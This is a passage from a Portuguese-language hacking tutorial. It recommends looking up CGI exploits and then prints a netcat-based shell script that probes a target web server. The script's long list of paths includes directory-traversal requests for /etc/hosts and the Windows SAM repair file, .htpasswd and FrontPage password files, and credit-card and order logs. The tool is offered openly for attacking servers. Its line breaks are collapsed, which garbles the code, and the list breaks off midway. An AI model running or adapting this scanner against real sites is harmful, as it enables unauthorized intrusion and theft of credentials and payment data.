detalhes na parte de Brutal Forces.No entanto se ele encontrar uma vulnerabilidade, ou seja, um CGI valido, como sao muitos CGIs fica praticamente impossivel voce ter em mente uma 'exploitacao' associada a cada uma das centenas depossibilidades que possa vir a surgir, eu recomendo o seguinte:Vai em "http://www.securityfocus.com/" e pesquise na 'BugTraq'informacoes a respeito do CGI que voce encontrou.Os mais velhos conhecembem a mais conhecida tecnica de exploitacao de CGI que eu ja vi, ado 'PHF' e por incrivel que pareca, ainda hoje existem servidores vulneraveis a isto.-------------------------- cgichk.sh -----------------------------#!/bin/sh# cgiscan.sh by ben-z [3/23/99]# written for use in fts-rvscan# Alterado por By SeQ Anjdric.# Uso: ./cgichk www.alvo.com# OBS: Necessita do Netcat instalado em sua maquina(nc).if [ "$#" != 1 ]; thenecho "CGI - Scanner by ben-z e Alterado por By SeQ Anjdric."echo "Uso: sh cgichk.sh "; echo " "echo "Exemplo: sh cgichk.sh www.alvo.com"exit 1ficlearecho "CGI-Scanner by ben-z e Alterado por By SeQ Anjdric"echo "Comecando Scaneamento...."echo " "contador="0"rm cgilist 1>/dev/null 2>/dev/nullfunction testcgi {contador=`expr $contador + 1`echo -n "[$contador]: Procurando http://$1$2 [**] "cmsg=" timeout [005]"rm .tmp 1>/dev/null 2>/dev/nullycgi="0"(echo "GET $2" ; sleep 1) | nc -w 4 $1 80 1>.tmp 2>.tmpcat .tmp | grep -i "<" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Encontrado!" ycgi="1"ficat .tmp | grep -i "not found" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg="Nao Encontrado [000]" ycgi="0"ficat .tmp | grep "404" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Nao Encontrado [404]" ycgi="0"ficat .tmp | grep "403" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Acesso Negado [403]" ycgi="0"ficat .tmp | grep "500" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Falha no Servidor [500]" ycgi="0"ficat .tmp | grep "505" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Redirecionada [505]" ycgi="0"ficat .tmp | grep "302" >/dev/null 2>&1if [ $? -eq 0 ]; then cmsg=" Indisponivel [302]" ycgi="0"fiecho $cmsgif [ "$ycgi" = "1" ]; then echo "http://$1$2" >>cgilistfi}if [ "$2" != "" ]; then testcgi $1 $2 exit 1fitestcgi $1 /....../ alltestcgi $1 /....../config.systestcgi $1 /....../etc/hoststestcgi $1 /../../../../ alltestcgi $1 /../../../../../../../boot.initestcgi $1 /../../../../../winnt/repair/sam._testcgi $1 /../../../../config.systestcgi $1 /../../../../etc/hoststestcgi $1 /.accesstestcgi $1 /.bash_historytestcgi $1 /.htaccesstestcgi $1 /.html/............./config.systestcgi $1 /.htpasswdtestcgi $1 /.passwdtestcgi $1 /ASPSamp/AdvWorks/equipment/catalog_type.asptestcgi $1 /Admin_files/order.logtestcgi $1 /AdvWorks/equipment/catalog_type.asptestcgi $1 /Orders/order.logtestcgi $1 /PDG_Cart/order.logtestcgi $1 /PDG_Cart/shopper.conftestcgi $1 /PSUser/PSCOErrPage.htmtestcgi $1 /WebShop/logs/cc.txttestcgi $1 /WebShop/logs/ck.logtestcgi $1 /WebShop/templates/cc.txttestcgi $1 /_privatetestcgi $1 /_vti_bin/_vti_aut/dvwssr.dlltestcgi $1 /_vti_bin/fpcount.exetestcgi $1 /_vti_inf.htmltestcgi $1 /_vti_pvttestcgi $1 /_vti_pvt/administrators.pwdtestcgi $1 /_vti_pvt/authors.pwdtestcgi $1 /_vti_pvt/service.pwdtestcgi $1 /_vti_pvt/shtml.dlltestcgi $1 /_vti_pvt/shtml.exetestcgi $1 /_vti_pvt/users.pwdtestcgi $1 /adsamples/config/site.csctestcgi $1 /bintestcgi $1 /carbo.dlltestcgi $1 /ccbill/secure/ccbill.logtestcgi $1 /cfdocs/cfmlsyntaxcheck.cfmtestcgi $1 /cfdocs/exampleapp/docs/sourcewindow.cfmtestcgi $1 /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.initestcgi $1 /cfdocs/expelval/displayopenedfile.cfmtestcgi $1 /cfdocs/expelval/exprcalc.cfmtestcgi $1 /cfdocs/expelval/openfile.cfmtestcgi $1 /cfdocs/expelval/sendmail.cfmtestcgi $1 /cfdocs/snippets/fileexists.cfmtestcgi $1 /cfdocs/snippets/viewexample.cfmtestcgi $1 /cgitestcgi $1 /cgi-bintestcgi $1 /cgi-bin/AT-admin.cgitestcgi $1 /cgi-bin/AT-generate.cgitestcgi $1 /cgi-bin/Admin_files/order.logtestcgi $1 /cgi-bin/AnyForm2testcgi $1 /cgi-bin/Cgitest.exetestcgi $1 /cgi-bin/Count.cgitestcgi $1 /cgi-bin/FormHandler.cgitestcgi $1 /cgi-bin/GW5/GWWEB.EXEtestcgi $1 /cgi-bin/UltraBoard.cgitestcgi $1 /cgi-bin/UltraBoard.pltestcgi $1 /cgi-bin/add_ftp.cgitestcgi $1 /cgi-bin/adptestcgi $1 /cgi-bin/adpassword.txttestcgi $1 /cgi-bin/ads.setuptestcgi $1 /cgi-bin/aglimpsetestcgi $1 /cgi-bin/alibaba.pltestcgi $1 /cgi-bin/allmanage.pltestcgi $1 /cgi-bin/allmanage/adptestcgi $1 /cgi-bin/allmanage/ktestcgi $1 /cgi-bin/allmanage/settings.cfgtestcgi $1 /cgi-bin/allmanage/userfile.dattestcgi $1 /cgi-bin/allmanageup.pltestcgi $1 /cgi-bin/anyboard.cgitestcgi $1 /cgi-bin/architext_query.pltestcgi $1 /cgi-bin/authorize/dbmfiles/userstestcgi $1 /cgi-bin/ax-admin.cgitestcgi $1 /cgi-bin/ax.cgitestcgi $1 /cgi-bin/bigconf.cgi alltestcgi $1 /cgi-bin/bizdb1-search.cgitestcgi $1 /cgi-bin/bnbform.cgitestcgi $1 /cgi-bin/cachemgr.cgitestcgi $1 /cgi-bin/calender.pltestcgi $1 /cgi-bin/calender_admin.pltestcgi $1 /cgi-bin/campastestcgi $1 /cgi-bin/cart.pltestcgi $1 /cgi-bin/cgiwraptestcgi $1 /cgi-bin/classifieds.cgitestcgi $1 /cgi-bin/clickresponder.pltestcgi $1 /cgi-bin/cmd.exetestcgi $1 /cgi-bin/counterfiglettestcgi $1